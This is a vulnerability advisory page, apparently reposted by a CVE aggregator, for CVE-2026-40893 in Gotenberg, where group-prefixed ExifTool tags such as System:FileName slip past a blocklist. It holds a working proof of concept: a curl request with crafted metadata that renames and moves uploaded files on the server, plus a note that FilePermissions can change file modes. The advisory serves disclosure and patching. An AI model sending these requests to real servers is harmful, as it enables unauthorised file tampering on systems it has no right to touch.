Gotenberg has an ExifTool Dangerous Tag Blocklist Bypass via Group-Prefixed Tag Names that Allows Arbitrary File Rename and Move
Gotenberg blocks certain ExifTool tag names like FileName and Directory to stop attackers from renaming or moving files on the server. But ExifTool allows a longer form of the same tag — System:FileName — which does the exact same thing. Gotenberg only checks if the tag is exactly FileName, so System:FileName slips right through and ExifTool happily renames the file. No login is needed. One HTTP request is enough.
This bypasses the fix from [GHSA-qmwh-9m9c-h36m](https://github.com/gotenberg/gotenberg/security/advisories/GHSA-qmwh-9m9c-h36m).
Think of it like a nightclub bouncer with a blocklist of banned names. The blocklist says "Block anyone named John." A person shows up and says "I'm Mr. John." The bouncer checks — "Mr. John" is not "John" — so he lets them in. But inside the club, everyone knows Mr. John IS John.
That's exactly what happens here:
The blocklist (exiftool.go line 275-280) blocks these tag names:
```
FileName
Directory
HardLink
SymLink
```
The check (exiftool.go line 295-301) compares what the user sent against this list:
```go
if strings.EqualFold(key, tag) { // is "System:FileName" equal to "FileName"?
delete(metadata, key) // no — so it's NOT deleted
}
```
System:FileName is not equal to FileName (one is 16 characters, the other is 8), so it passes through.
But ExifTool treats them as the same thing. In ExifTool, System: is just a group prefix — like a folder name before the tag. System:FileName and FileName both mean "rename this file." The [ExifTool docs](https://exiftool.org/exiftool_pod.html) say: *"A tag name may include leading group names separated by colons."*
Why the colon is allowed: The key validation regex (exiftool.go line 31) explicitly permits colons:
```go
var safeKeyPattern = regexp.MustCompile(^[a-zA-Z0-9\-_.:]+$)
// ^ colon is allowed
```
So the full chain is:
1. Attacker sends System:FileName → passes the regex (colon is allowed)
2. System:FileName → passes the blocklist (it's not equal to FileName)
3. ExifTool receives System:FileName → treats it as FileName → renames the file
Bonus finding: The FilePermissions tag is not in the blocklist at all. Sending {"FilePermissions": "rwxrwxrwx"} tells ExifTool to chmod the file, and nothing stops it.
Setup — start Gotenberg with default settings:
```bash
docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8
```
Create a folder inside the container where we'll move the file to:
```bash
docker exec gotenberg-poc mkdir -p /tmp/evil
```
Send the attack — one curl command:
```bash
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F '[email protected]' \
-F 'metadata={"System:FileName":"stolen.pdf","System:Directory":"/tmp/evil"}'
```
This returns HTTP 404 because the file got moved before the server could return it.
Check that the file actually moved:
```bash
docker exec gotenberg-poc ls -la /tmp/evil/
```
Result:
```
-rw-r--r-- 1 gotenberg gotenberg 17789 Apr 13 07:40 stolen.pdf
```
The file is sitting in /tmp/evil/stolen.pdf. It was renamed from its random UUID name to stolen.pdf and moved out of the temporary directory — exactly what the blocklist was supposed to prevent.
Proof that the existing blocklist works for bare names (control test):
```bash
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F '[email protected]' \
-F 'metadata={"FileName":"stolen.pdf","Directory":"/tmp/evil"}'
```
This returns HTTP 500 — the bare FileName tag was correctly blocked. Only the System:FileName variant gets through.
Other ways to exploit the same bug:
system:filename (lowercase) — also works because ExifTool is case-insensitivesystem:directory — moves the file to any writable folderFilePermissions — changes the file's permissions (this tag is simply missing from the blocklist entirely)Every endpoint that accepts the metadata field is affected, including /forms/chromium/convert/html, /forms/libreoffice/convert, /forms/pdfengines/merge, and all other conversion routes.
Any person who can send HTTP requests to Gotenberg (no login needed by default) can:
System:DirectorySystem:FileNameFilePermissions (this tag is not blocked at all)In real-world deployments where Gotenberg shares a Docker volume with other services (which is common), an attacker can drop a PDF file with controlled content into that shared folder
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity high, availability low.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
CVE-2026-40893 is recorded against 3 packages.
Published on 25 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Advisory)
nvd.nist.gov (Advisory)
github.com/gotenberg/gotenberg/v7 has other advisories on record. If you are patching this one, these are worth checking on the same host:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| github.com/gotenberg/gotenberg/v7 | — | — |
| github.com/gotenberg/gotenberg/v8 | — | — |
| gotenberg | — | 8.31.0 |
References
Similar Threats
Site Security Check
CVE-2026-40893 is rated CVSS 8.2 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.